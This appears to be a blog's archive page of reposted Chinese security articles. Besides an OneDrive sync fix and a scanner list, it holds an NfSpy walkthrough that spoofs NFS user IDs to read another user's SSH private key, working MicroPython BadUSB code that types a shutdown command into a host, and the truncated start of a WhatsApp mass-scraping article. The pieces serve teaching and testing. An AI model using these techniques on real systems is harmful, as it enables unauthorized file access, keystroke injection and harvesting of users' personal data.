月度归档:2017年05月

解决win10/Office2016/Onedrive/上载中心经常冲突的问题

一直想要关闭win10的office上载中心,查阅网上方法,发现大家都推荐如下方法:

  • 在桌面找到“此电脑”,右键点击“管理”;
  • 点击“系统工具“下的”任务计划程序“
  • 然后在”计划任务库“里找到“MicrosoftOffice 15 SyncMaintenance”并右键,点击禁用即可

实际这样操作了一次,发现在”计划任务库“里根本没有“MicrosoftOffice 15 SyncMaintenance”的存在!这是因为office2016的上载中心根本没启动项,无从禁用启动!

在Win10系统+Office2016环境下,OneDrive和上载中心都会向OneDrive云空间上传文件,经常发生冲突(上载中心显示上载错误),会严重拖累程序运行缓慢
解决win10/Office2016/Onedrive/上载中心经常冲突的问题

目前找到的唯一解决方案为:在OneDrive设置里Office项,去掉使用Office选项卡中的2个勾
解决win10/Office2016/Onedrive/上载中心经常冲突的问题

开源扫描仪的工具箱:安全行业从业人员自研开源扫描器合集

*本文原创作者:Shun,项目维护 Wester(sina weibo@西风微雨_Wester) && Martin (sina weibo@Mart1n_ZHOU) ,本文属FreeBuf原创奖励计划,未经许可禁止转载

项目介绍

Scanners-Box是来自github平台的开源扫描仪的集合,包括子域枚举,数据库漏洞扫描程序,弱密码或信息泄漏扫描仪,端口扫描仪,指纹扫描仪和其他大型扫描仪,模块化扫描仪等。对于其他众所周知的扫描工具,如:Nmap,w3af,brakeman将不会包含在收集范围内。

安全行业从业人员常用工具指引,包括各类在线安全学习资料和安全检测工具,欢迎大家持续贡献!

入门指南

fuzz工具收集

子域名枚举

web应用扫描器

数据库扫描、注入工具

弱口令或信息泄漏扫描

物联网设备扫描

XSS扫描

企业网络自检

webshell检测以及病毒分析工具

内网安全渗透测试工具集

端口扫描、指纹识别以及中间件扫描

针对性漏洞测试工具

无线网络渗透、扫描

代码静态扫描、代码运行栈跟踪

模块化扫描、综合扫描器

Android系列工具:

DDOS防护:

  • https://github.com/ywjt/Dshield
  • Database firewall:

    waf开源及规则:

    收集目的

    本工具包收集的初衷是向各类行业安全从业人员提供在企业信息安全防护体系建设过程中可以参考的各种开源或非开源安全扫描工具,以帮助安全从业人员对自身业务进行自检,从而提高安全性。

    免责说明

    请勿用于非法的用途,否则造成的严重后果与本项目无关。

    致谢

    • @0c0c0f
    • @藏形匿影(挖财网)
    • @Mottoin团队
    • @BlackHole
    • @CodeColorist
    • @3xp10it
    • @re4lity
    • 项目维护 Wester(sina weibo@西风微雨_Wester) && Martin (sina weibo@Mart1n_ZHOU) 

    *本文原创作者:Shun,本文属FreeBuf原创奖励计划,未经许可禁止转载

    具有ID欺骗功能的NFS客户端 – NfSpy

    具有ID欺骗功能的NFS客户端 – NfSpy

    NfSpy简介

    NfSpy是一个开源的Python库,当我们加载一个NFS文件共享服务时,它可以自动伪造出NFS凭证。该工具包含下面两个子程序:

    1.    nfspy:nfspy使用了用户空间文件系统(FUSE)库在Linux平台中加载NFS文件共享服务。这将允许我们使用类似grep和find这样的常规文件搜索和操作命令来查询NFS所export出去的数据结构。

    2.    nfspysh:nfspysh是一个类FTP的交互式Shell,可以用来查询NFS export。它不需要使用FUSE库,因此它可以在非Linux平台上运行。

    漏洞利用

    v4版本之前的NFS依赖于服务器主机对身份验证机制的信任关系。NFS服务器会信任那些通过相同用户ID(与共享文件系统的UID相同)进行身份验证的客户端设备,这种机制适用于NIS、NIS+和LDAP域,但只有这些设备没有受到攻击或身份并非伪造的前提下这种验证机制才有效,因为NFS协议所使用的唯一的身份验证因素就是客户端设备传递过来的UID或GID(Group ID)。这也就意味着,如果我们能够伪造客户端设备的访问ID,我们就能够绕过NFS服务器的身份验证了。

    NfSpy下载

    下载地址

    NfSpy的使用

    下面这条命令可以显示出用户的可选操作项(查看帮助):

    nfspy –help

    使用示例

    下面是一个运行于192.168.1.124的NFS服务器。

    $ showmount -e 192.168.1.124
    Export list for 192.168.1.124:
    /home (everyone)

    挂载并共享之后,我们可以通过sudo来将其与一个特权端口进行绑定,而allow_other选项将允许任意用户使用这个文件系统。请注意下面的“hide”选项,使用了这个选项之后,他人将无法通过showmount –a来查看当前服务器的共享列表中是否有你。

    $ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr/mnt

    接下来,你就可以为所欲为啦!好好享受吧…

    $ cd /mnt
    /mnt$ ls -l
    drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
    /mnt$ cd smithj
    /mnt/smithj$ cat .ssh/id.rsa
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
    <snip>

    操作完成之后,你可以使用fusermount进行卸载:

    $ sudo fusermount -u /mnt

    nfspysh的使用

    nfspysh所支持使用的操作选项基本与NfSpy的相同,所以各位同学可以直接参考上面的内容。我们这里同样可以使用“help”命令查看帮助信息。

    $ sudo PYTHONPATH=. python scripts/nfspysh -oserver=127.0.0.1:/home/miller/nfs
    nfspy@127.0.0.1:/home/miller/nfs:/> ls
    /:
    040775  1000  1000      4096 2013-04-13 23:20:37 .
    040775  1000  1000      4096 2013-04-13 23:20:37 ..
    040775  1000  1000      4096 2013-04-11 06:36:48 public
    040775  1000  1000      4096 2013-04-13 23:26:40 more
    040700     0  1000      4096 2013-04-11 06:39:12 secrets
    100666  1000  1000         5 2013-04-13 23:28:02 README.md
    120777  1000  1000        21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
    nfspy@127.0.0.1:/home/miller/nfs:/more> help
    Known commands:
        cd
        chmod
        chown
        exit
        get
        help
        lcd
        lpwd
        ls
        mkdir
        mv
        put
        pwd
        rm
        rmdir
        umask
    nfspy@127.0.0.1:/home/miller/nfs:/more> help get
    get <filename> [<localname>]
     
            Retrieve<filename> and save to <localname>. If no <localname> isgiven,
            defaults tothe basename of <filename> in the current local working directory.
    nfspy@127.0.0.1:/home/miller/nfs:/more> exit
    Quitting.

    缓解方案

    虽然我们有一些方法来增强NFS的安全性,但其中绝大部分都是不完整的解决方案,包括我们下面给大家列出的这三种方法在内。需要注意的是,攻击者仍然有可能绕过下面这些安全保护措施。

    root_squash

    我们可以将服务器或文件共享(在NFS中的术语为export)配置为root_squash,这个配置意味着,如果发送过来的请求声明自己的UID或GID为0,即root,那么这个用户将会被当作nobody用户处理。这种方法无法防止攻击者伪造UID或GID,但它能够对敏感信息和重要配置起到一定程度的保护作用。

    nfs_portmon

    另一个可以开启的设置选项是nfs-portmon,它可以拒绝来自于端口513-1024范围之外的请求信息。由于通常情况下只有root权限才能分配这些端口,因此这样可以防止受信任设备上的普通用户伪造UID或GID。但是这种方法无法防止流氓主机、有su权限的用户、或已被完全入侵的设备进行ID欺骗。

    Export限制

    我们可以通过对NFS的Share/Export进行控制来决定哪一台设备能够访问它们。这些访问控制如下:

    -IP地址(例如192.168.1.34)
    -IP前缀(例如@192.168.1)
    -主机名(例如server1.mydom.nis)
    -主机列表(例如@trusted_hosts)
    -“everyone”

    最佳的配置方案应该是使用一个主机列表,因为查询NFS daemon(守护进程)只会得到列表名称,其中不会包含地址和主机名。IP地址或主机名也是不错的选择,因为它们比较难欺骗,相比来说IP前缀和“everyone”就没那么安全了,因为它们没有对接入客户端的地址进行限制。

    * 参考来源:n0where, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

    利用micropython快速实现Badusb及手机摇控扩展

    本文以TPYBoard开发板为例讲解了利用micropython进行HID设备测试的主要方法,使用mt7681模块进行了一个简单的实验,实现了手机摇控键盘输入的测试。

    0×01引言

    Micropython运行在微控制器上的Python
    只要你懂python3.x,
    就可以让你像使用arduino
    那样进行硬件开发。随着micropython
    的发布,已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究,发现利用python
    进行操作确实很方便,很简单。目前支持micropython
    的开发板有很多,如pyboard
    pyMagic
    TPYBoard
    等。

    利用micropython快速实现Badusb及手机摇控扩展

    PYmagic

    利用micropython快速实现Badusb及手机摇控扩展

    pyboard 1.0

    利用micropython快速实现Badusb及手机摇控扩展

    tpyboard V102

    最近从网上搞了一块TPYBoardV101(官网www.micropython.net.cn)进行了一下研究,特别是对其自身的USB-HID功能进行了测试,令人惊喜的是,你可以在仅懂python的情况下,进行HID虚拟键盘的测试。

    0×02 TPYBoardV101模拟键盘

    该板子的使用方法入门,本文中略过,有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2TPYBoardv101中,在进行键盘模拟时,每次发送了8个字符,只要搞清楚了这8个字符的含义,就能够进行HID模拟了。

    键盘模拟时,每次要发送的8
    个字,具体为BYTE1、BYTE2、 BYTE3、 BYTE4、 BYTE5 、BYTE6、 BYTE7、 BYTE8。其中BYTE1用来实现功能键:

    BYTE1–
    |–bit0:Left Control
    按下时为1

    |–bit1:Left Shift按下时为1

    |–bit2:Left Alt按下时为1

    |–bit3:Left GUI按下时为1

    |–bit4:Right Control按下时为1

    |–bit5:Right Shift按下时为1

    |–bit6:Right Alt按下时为1

    |–bit7:Right GUI按下时为1

    BYTE3
    BYTE8
    是具体按键。

    如:按下leftshift + a ,则发送0×02,0×00,0×04,0×00,0×00,0×00,0×00,0×00

    这里以按下leftGUI+R来具体讲解实现过程。

    第一步:修改boot.py文件,代码如下:

    import machine
    import pyb
    
    #pyb.main('main.py')
    # main script to run after this one
    #pyb.usb_mode('CDC+MSC')
    # act as a serial and a storage device
    pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard) 
    

    第二步,修改main.py文件,代码如下:

    # main.py -- put your code here!
    hid=pyb.USB_HID()
    def release_key_once():
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
    def press_key_once(key):
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = key
        hid.send(buf) # key released
        pyb.delay(10)
    def press_2key(key1,key2):
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = key1
        buf[2] = key2
        hid.send(buf) # key released
        pyb.delay(10)
    def release_2key():
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = 0
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
    
    pyb.delay(1000) #开始加入1秒延时
    press_2key(0x08,0x15)#具体键值见附录部分
    release_2key()

    第三步,安全退出TPYBoardv101,然后按一下RST键,可以看到一秒后“运行”窗口弹出。


    0×03 简单的HID测试

            测试打开“运行”窗口,输入cmd,然后弹出cmd后,输入shutdown-s -t 60 ,60秒后自动关机。如果前面已经做了boot.py的修改,这里就不需要再进行修改了,直接修改main.py就可以了。

    # main.py -- put your code here!
    hid=pyb.USB_HID()
    def release_key_once():
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
    def press_key_once(key):
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = key
        hid.send(buf) # key released
        pyb.delay(10)
    def press_2key(key1,key2):
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = key1
        buf[2] = key2
        hid.send(buf) # key released
        pyb.delay(10)
    def release_2key():
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = 0
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
        
    
    pyb.delay(1000) #开始加入1秒延时
    press_2key(0x08,0x15)#具体键值见附录部分
    release_2key()
    pyb.delay(100)
    a=[0x06,0x10,0x07,0x28] #cmd+enter
    for i in a:
        press_key_once(i)
        release_key_once()
    pyb.delay(1000)
    #shutdown -s -t 60 + enter
    a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
    for i in a:
        press_key_once(i)
        release_key_once()
    pyb.delay(1000)

            程序运行的效果是:当开发板插入电脑后,会首先弹出“运行”窗口,然后在该窗口里输入cmd,此时弹出cmd,并在其中输入shutdown-s -t 60和回车,然后电脑在1分钟后关机。

    0×04 DIY一键关机

            TPYBoardv101带着一个usr按键,可以利用这个按键来制作一键关机功能。当板子程序运行后,按下usr按键,产生中断,led3闪一下,进行关机操作。具体代码如下:

    # main.py -- put your code here!
    import pyb
    FLAG=0 #flag标记,当为1时,关机
    
    def release_key_once():
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
    def press_key_once(key):
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = key
        hid.send(buf) # key released
        pyb.delay(10)
    def press_2key(key1,key2):
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = key1
        buf[2] = key2
        hid.send(buf) # key released
        pyb.delay(10)
    def release_2key():
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = 0
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
        
    def shutdownpc():
        global FLAG
        pyb.LED(3).on()
        FLAG=1
        pyb.delay(300)
        pyb.LED(3).off()
    
    hid=pyb.USB_HID()    
    sw=pyb.Switch()
    sw.callback(shutdownpc)
    while(1): #led2闪烁表示板子已经正常工作
        pyb.LED(2).toggle()
        pyb.delay(300)
        print(FLAG)
        if FLAG==1:
            pyb.delay(1000) #开始加入1秒延时
            press_2key(0x08,0x15)#具体键值见附录部分
            release_2key()
            pyb.delay(100)
            a=[0x06,0x10,0x07,0x28] #cmd+enter
            for i in a:
                press_key_once(i)
                release_key_once()
            pyb.delay(1000)
            #shutdown -s -t 60 + enter
            a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
            for i in a:
                press_key_once(i)
                release_key_once()
            pyb.delay(1000)
            FLAG=0  
    

    实现效果见视频:



    http://v.youku.com/v_show/id_XMTYyMDQwMjgyMA==.html



    0×05 用手机摇控键盘输入

    这个实验中,我使用了MT7681wifi模块,该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接,接线示意图,见下图。这里用的是TPYBoardv101的UART3,串口波特率115200。





    利用micropython快速实现Badusb及手机摇控扩展






    具体代码如下:




    # main.py -- put your code here!
    import pyb
    FLAG=0
    
    def release_key_once():
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
    def press_key_once(key):
        buf = bytearray(8) # report is 8 bytes long
        buf[2] = key
        hid.send(buf) # key released
        pyb.delay(10)
    def press_2key(key1,key2):
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = key1
        buf[2] = key2
        hid.send(buf) # key released
        pyb.delay(10)
    def release_2key():
        buf = bytearray(8) # report is 8 bytes long
        buf[0] = 0
        buf[2] = 0
        hid.send(buf) # key released
        pyb.delay(10)
        
    def shutdownpc():
        global FLAG
        pyb.LED(3).on()
        FLAG=1
        pyb.delay(1000)
        pyb.LED(3).off()
    def getchars():
        global FLAG
        pyb.LED(3).on()
        FLAG=2
        pyb.delay(1000)
        pyb.LED(3).off()    
    hid=pyb.USB_HID()    
    sw=pyb.Switch()
    sw.callback(shutdownpc)
    
    u1=pyb.UART(3,115200)
    u1.init(115200, bits=8, parity=None, stop=1)
    u1.write('Hello world!')
    buf=''
    #print(buf)
    while(1): #led2闪烁表示板子已经正常工作
        
        buf=u1.readline()
        print(buf)
        if buf==b's':
            getchars()
        pyb.LED(2).toggle()
        pyb.delay(1300)
        
        print(FLAG)
        if FLAG==1:
            pyb.delay(1000) #开始加入1秒延时
            press_2key(0x08,0x15)#具体键值见附录部分
            release_2key()
            pyb.delay(100)
            a=[0x06,0x10,0x07,0x28] #cmd+enter
            for i in a:
                press_key_once(i)
                release_key_once()
            pyb.delay(1000)
            #shutdown -s -t 60 + enter
            a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
            for i in a:
                press_key_once(i)
                release_key_once()
            pyb.delay(1000)
            FLAG=0
        if FLAG==2:
            pyb.delay(1000) #开始加入1秒延时
            press_2key(0x08,0x15)#具体键值见附录部分
            release_2key()
            pyb.delay(100)
            a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter
            for i in a:
                press_key_once(i)
                release_key_once()
            pyb.delay(1000)
            FLAG=0     

    实现效果见视频:

    http://v.youku.com/v_show/id_XMTYyMDM5MjIyNA==.html

            到这一步,可以看到,手机就像一个摇控键盘一样,可以直接来控制键盘了。只需要在程序中再丰富一下,就可以做个很不错的手机键盘出来。同时,因为可以通过串口返回数据,所以可以在电脑端写个上位机,这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧,就只说到这里了。

    0×06 附件


    micropython的主要键值如下:

    #define KEY_NONE                               0x00
    
    #define KEY_ERRORROLLOVER                      0x01
    
    #define KEY_POSTFAIL                           0x02
    
    #define KEY_ERRORUNDEFINED                     0x03
    
    #define KEY_A                                  0x04
    
    #define KEY_B                                  0x05
    
    #define KEY_C                                  0x06
    
    #define KEY_D                                  0x07
    
    #define KEY_E                                  0x08
    
    #define KEY_F                                  0x09
    
    #define KEY_G                                  0x0A
    
    #define KEY_H                                  0x0B
    
    #define KEY_I                                  0x0C
    
    #define KEY_J                                  0x0D
    
    #define KEY_K                                  0x0E
    
    #define KEY_L                                  0x0F
    
    #define KEY_M                                  0x10 
    
    #define KEY_N                                  0x11 
    
    #define KEY_O                                  0x12 
    
    #define KEY_P                                  0x13
    
    #define KEY_Q                                  0x14
    
    #define KEY_R                                  0x15 
    
    #define KEY_S                                  0x16 
    
    #define KEY_T                                  0x17 
    
    #define KEY_U                                  0x18
    
    #define KEY_V                                  0x19
    
    #define KEY_W                                  0x1A 
    
    #define KEY_X                                  0x1B 
    
    #define KEY_Y                                  0x1C
    
    #define KEY_Z                                  0x1D
    
    #define KEY_1_EXCLAMATION_MARK                 0x1E
    
    #define KEY_2_AT                               0x1F
    
    #define KEY_3_NUMBER_SIGN                      0x20
    
    #define KEY_4_DOLLAR                           0x21
    
    #define KEY_5_PERCENT                          0x22
    
    #define KEY_6_CARET                            0x23
    
    #define KEY_7_AMPERSAND                        0x24
    
    #define KEY_8_ASTERISK                         0x25
    
    #define KEY_9_OPARENTHESIS                     0x26
    
    #define KEY_0_CPARENTHESIS                     0x27
    
    #define KEY_ENTER                              0x28
    
    #define KEY_ESCAPE                             0x29 
    
    #define KEY_BACKSPACE                          0x2A 
    
    #define KEY_TAB                                0x2B 
    
    #define KEY_SPACEBAR                           0x2C
    
    #define KEY_MINUS_UNDERSCORE                   0x2D
    
    #define KEY_EQUAL_PLUS                         0x2E
    
    #define KEY_OBRACKET_AND_OBRACE                0x2F 
    
    #define KEY_CBRACKET_AND_CBRACE                0x30 
    
    #define KEY_BACKSLASH_VERTICAL_BAR             0x31
    
    #define KEY_NONUS_NUMBER_SIGN_TILDE            0x32
    
    #define KEY_SEMICOLON_COLON                    0x33
    
    #define KEY_SINGLE_AND_DOUBLE_QUOTE            0x34
    
    #define KEY_GRAVE ACCENT AND TILDE             0x35 
    
    #define KEY_COMMA_AND_LESS                     0x36
    
    #define KEY_DOT_GREATER                        0x37
    
    #define KEY_SLASH_QUESTION                     0x38
    
    #define KEY_CAPS LOCK                          0x39
    
    #define KEY_F1                                 0x3A 
    
    #define KEY_F2                                 0x3B
    
    #define KEY_F3                                 0x3C
    
    #define KEY_F4                                 0x3D 
    
    #define KEY_F5                                 0x3E 
    
    #define KEY_F6                                 0x3F 
    
    #define KEY_F7                                 0x40
    
    #define KEY_F8                                 0x41
    
    #define KEY_F9                                 0x42 
    
    #define KEY_F10                                0x43
    
    #define KEY_F11                                0x44 
    
    #define KEY_F12                                0x45
    
    #define KEY_PRINTSCREEN                        0x46
    
    #define KEY_SCROLL LOCK                        0x47 
    
    #define KEY_PAUSE                              0x48 
    
    #define KEY_INSERT                             0x49 
    
    #define KEY_HOME                               0x4A
    
    #define KEY_PAGEUP                             0x4B
    
    #define KEY_DELETE                             0x4C 
    
    #define KEY_END1                               0x4D 
    
    #define KEY_PAGEDOWN                           0x4E 
    
    #define KEY_RIGHTARROW                         0x4F
    
    #define KEY_LEFTARROW                          0x50
    
    #define KEY_DOWNARROW                          0x51 
    
    #define KEY_UPARROW                            0x52
    
    #define KEY_KEYPAD_NUM_LOCK_AND_CLEAR          0x53
    
    #define KEY_KEYPAD_SLASH                       0x54
    
    #define KEY_KEYPAD_ASTERIKS                    0x55
    
    #define KEY_KEYPAD_MINUS                       0x56 
    
    #define KEY_KEYPAD_PLUS                        0x57 
    
    #define KEY_KEYPAD_ENTER                       0x58
    
    #define KEY_KEYPAD_1_END                       0x59
    
    #define KEY_KEYPAD_2_DOWN_ARROW                0x5A
    
    #define KEY_KEYPAD_3_PAGEDN                    0x5B
    
    #define KEY_KEYPAD_4_LEFT_ARROW                0x5C
    
    #define KEY_KEYPAD_5                           0x5D 
    
    #define KEY_KEYPAD_6_RIGHT_ARROW               0x5E
    
    #define KEY_KEYPAD_7_HOME                      0x5F
    
    #define KEY_KEYPAD_8_UP_ARROW                  0x60
    
    #define KEY_KEYPAD_9_PAGEUP                    0x61
    
    #define KEY_KEYPAD_0_INSERT                    0x62
    
    #define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE    0x63
    
    #define KEY_NONUS_BACK_SLASH_VERTICAL_BAR      0x64
    
    #define KEY_APPLICATION                        0x65
    
    #define KEY_POWER                              0x66 
    
    #define KEY_KEYPAD_EQUAL                       0x67 
    
    #define KEY_F13                                0x68
    
    #define KEY_F14                                0x69
    
    #define KEY_F15                                0x6A 
    
    #define KEY_F16                                0x6B 
    
    #define KEY_F17                                0x6C
    
    #define KEY_F18                                0x6D
    
    #define KEY_F19                                0x6E
    
    #define KEY_F20                                0x6F
    
    #define KEY_F21                                0x70 
    
    #define KEY_F22                                0x71 
    
    #define KEY_F23                                0x72
    
    #define KEY_F24                                0x73
    
    #define KEY_EXECUTE                            0x74 
    
    #define KEY_HELP                               0x75
    
    #define KEY_MENU                               0x76 
    
    #define KEY_SELECT                             0x77
    
    #define KEY_STOP                               0x78
    
    #define KEY_AGAIN                              0x79
    
    #define KEY_UNDO                               0x7A 
    
    #define KEY_CUT                                0x7B 
    
    #define KEY_COPY                               0x7C
    
    #define KEY_PASTE                              0x7D
    
    #define KEY_FIND                               0x7E 
    
    #define KEY_MUTE                               0x7F
    
    #define KEY_VOLUME_UP                          0x80 
    
    #define KEY_VOLUME_DOWN                        0x81
    
    #define KEY_LOCKING_CAPS_LOCK                  0x82
    
    #define KEY_LOCKING_NUM_LOCK                   0x83 
    
    #define KEY_LOCKING_SCROLL_LOCK                0x84 
    
    #define KEY_KEYPAD_COMMA                       0x85 
    
    #define KEY_KEYPAD_EQUAL_SIGN                  0x86
    
    #define KEY_INTERNATIONAL1                     0x87
    
    #define KEY_INTERNATIONAL2                     0x88
    
    #define KEY_INTERNATIONAL3                     0x89
    
    #define KEY_INTERNATIONAL4                     0x8A
    
    #define KEY_INTERNATIONAL5                     0x8B
    
    #define KEY_INTERNATIONAL6                     0x8C
    
    #define KEY_INTERNATIONAL7                     0x8D
    
    #define KEY_INTERNATIONAL8                     0x8E
    
    #define KEY_INTERNATIONAL9                     0x8F
    
    #define KEY_LANG1                              0x90
    
    #define KEY_LANG2                              0x91
    
    #define KEY_LANG3                              0x92
    
    #define KEY_LANG4                              0x93
    
    #define KEY_LANG5                              0x94
    
    #define KEY_LANG6                              0x95
    
    #define KEY_LANG7                              0x96
    
    #define KEY_LANG8                              0x97
    
    #define KEY_LANG9                              0x98
    
    #define KEY_ALTERNATE_ERASE                    0x99 
    
    #define KEY_SYSREQ                             0x9A
    
    #define KEY_CANCEL                             0x9B
    
    #define KEY_CLEAR                              0x9C
    
    #define KEY_PRIOR                              0x9D 
    
    #define KEY_RETURN                             0x9E
    
    #define KEY_SEPARATOR                          0x9F
    
    #define KEY_OUT                                0xA0
    
    #define KEY_OPER                               0xA1 
    
    #define KEY_CLEAR_AGAIN                        0xA2
    
    #define KEY_CRSEL                              0xA3
    
    #define KEY_EXSEL                              0xA4
    
    #define KEY_KEYPAD_00                          0xB0
    
    #define KEY_KEYPAD_000                         0xB1 
    
    #define KEY_THOUSANDS_SEPARATOR                0xB2 
    
    #define KEY_DECIMAL_SEPARATOR                  0xB3 
    
    #define KEY_CURRENCY_UNIT                      0xB4
    
    #define KEY_CURRENCY_SUB_UNIT                  0xB5
    
    #define KEY_KEYPAD_OPARENTHESIS                0xB6 
    
    #define KEY_KEYPAD_CPARENTHESIS                0xB7 
    
    #define KEY_KEYPAD_OBRACE                      0xB8 
    
    #define KEY_KEYPAD_CBRACE                      0xB9
    
    #define KEY_KEYPAD_TAB                         0xBA
    
    #define KEY_KEYPAD_BACKSPACE                   0xBB 
    
    #define KEY_KEYPAD_A                           0xBC 
    
    #define KEY_KEYPAD_B                           0xBD 
    
    #define KEY_KEYPAD_C                           0xBE
    
    #define KEY_KEYPAD_D                           0xBF
    
    #define KEY_KEYPAD_E                           0xC0 
    
    #define KEY_KEYPAD_F                           0xC1 
    
    #define KEY_KEYPAD_XOR                         0xC2
    
    #define KEY_KEYPAD_CARET                       0xC3
    
    #define KEY_KEYPAD_PERCENT                     0xC4
    
    #define KEY_KEYPAD_LESS                        0xC5
    
    #define KEY_KEYPAD_GREATER                     0xC6 
    
    #define KEY_KEYPAD_AMPERSAND                   0xC7 
    
    #define KEY_KEYPAD_LOGICAL_AND                 0xC8
    
    #define KEY_KEYPAD_VERTICAL_BAR                0xC9
    
    #define KEY_KEYPAD_LOGIACL_OR                  0xCA 
    
    #define KEY_KEYPAD_COLON                       0xCB 
    
    #define KEY_KEYPAD_NUMBER_SIGN                 0xCC 
    
    #define KEY_KEYPAD_SPACE                       0xCD
    
    #define KEY_KEYPAD_AT                          0xCE
    
    #define KEY_KEYPAD_EXCLAMATION_MARK            0xCF 
    
    #define KEY_KEYPAD_MEMORY_STORE                0xD0 
    
    #define KEY_KEYPAD_MEMORY_RECALL               0xD1 
    
    #define KEY_KEYPAD_MEMORY_CLEAR                0xD2
    
    #define KEY_KEYPAD_MEMORY_ADD                  0xD3
    
    #define KEY_KEYPAD_MEMORY_SUBTRACT             0xD4 
    
    #define KEY_KEYPAD_MEMORY_MULTIPLY             0xD5 
    
    #define KEY_KEYPAD_MEMORY_DIVIDE               0xD6
    
    #define KEY_KEYPAD_PLUSMINUS                   0xD7
    
    #define KEY_KEYPAD_CLEAR                       0xD8
    
    #define KEY_KEYPAD_CLEAR_ENTRY                 0xD9 
    
    #define KEY_KEYPAD_BINARY                      0xDA 
    
    #define KEY_KEYPAD_OCTAL                       0xDB 
    
    #define KEY_KEYPAD_DECIMAL                     0xDC
    
    #define KEY_KEYPAD_HEXADECIMAL                 0xDD
    
    #define KEY_LEFTCONTROL                        0xE0
    
    #define KEY_LEFTSHIFT                          0xE1
    
    #define KEY_LEFTALT                            0xE2
    
    #define KEY_LEFT_GUI                           0xE3
    
    #define KEY_RIGHTCONTROL                       0xE4
    
    #define KEY_RIGHTSHIFT                         0xE5
    
    #define KEY_RIGHTALT                           0xE6
    
    #define KEY_RIGHT_GUI                          0xE7
    

    如何使用WhatsApp收集大量数据(附脚本)

    如果你想要拿到所有WhatsApp用户的手机号码、头像、以及状态信息,那么我告诉你,这其实是一件非常简单的事情,而且这些用户甚至都不需要将你添加到他们的通讯录里面。

    如何使用WhatsApp收集大量数据(附脚本)

    大概在几年之前,WhatsApp开始允许我们在Web浏览器中使用WhatsApp了。这是一种提升用户体验度的绝佳方法,因为与那手机屏幕里还没巴掌大的九宫格键盘相比,使用键盘来输入信息会更加的方便,而且复制粘贴或者添加附件也非常的简单。虽然优点如此之多,但缺点也肯定会有。坏消息就是,从技术角度出发,我们将有可能利用WhatsApp的Web接口来创建一个庞大的WhatsApp用户数据库。需要注意的是,可能只有一小部分用户不会受到影响:即那些没有修改隐私设置的用户(但WhatsApp并不鼓励这种不修改隐私设置的行为)。接下来,我会给大家演示如何利用WhatsApp的API接口来收集大量有趣的用户信息。

    如何使用WhatsApp收集大量数据(附脚本)

    简单介绍

    Web版WhatsApp需要通过用户的手机号来与WhatsApp服务器进行连接。简而言之,也就是浏览器只需要根据一个特定的手机号就能让后台服务器返回所有与该手机号有关的信息。可能返回的信息如下:

    1.    用户头像;

    2.    与用户状态相关的文本信息,例如“嗨,我正在使用WhatsApp”等等;

    3.    用户当前的在线/离线状态;

    我们发现,上述这些信息是可以通过手机号来请求获取的。也就是说,这个手机号所对应的WhatsApp是否将你添加为好友其实并不重要。因为这种通过手机号来请求用户信息的操作不会受到任何的限制,所以我们就可以创建一个完整的WhatsApp用户数据库,然后保存用户的手机号码、用户头像、状态文本信息、以及在线/离线状态。我们可以通过这些信息构建出一个与用户手机号相关的完整时间轴,而这个时间轴可以告诉我们用户的上线与离线时间。

    如何使用WhatsApp收集大量数据(附脚本)

    目前,几乎所有的网站在用户浏览器中呈现内容时,都包含有一种特殊的程序来决定网站的功能及表现形式,这种特殊的程序就是我们所说的JavaScript代码,这些JS代码决定了用户在点击某个按钮或移动鼠标时网站应该产生怎样的动作。除此之外,它们也可以与服务器进行连接,并请求某些类型的数据。当然了,Web端WhatsApp也不例外。它会向WhatsApp的后台服务器发送一个手机号码,几毫秒之后它便会收到有关这个手机号码的信息。对于我们来说,这种JavaScript程序的好处就是任何人都可以查看到它的源代码,而且我们还可以将其用于其他的地方。我正是利用了这种可能性开发出了一个脚本,这个脚本可以向服务器请求大量手机号码所对应的账号信息,更加重要的是,任何一个人都可以编写出这样的一种脚本。下面这张图片显示的是我的脚本请求的400个随机手机号所对应的信息:

    如何使用WhatsApp收集大量数据(附脚本)

    隐私方面的担忧

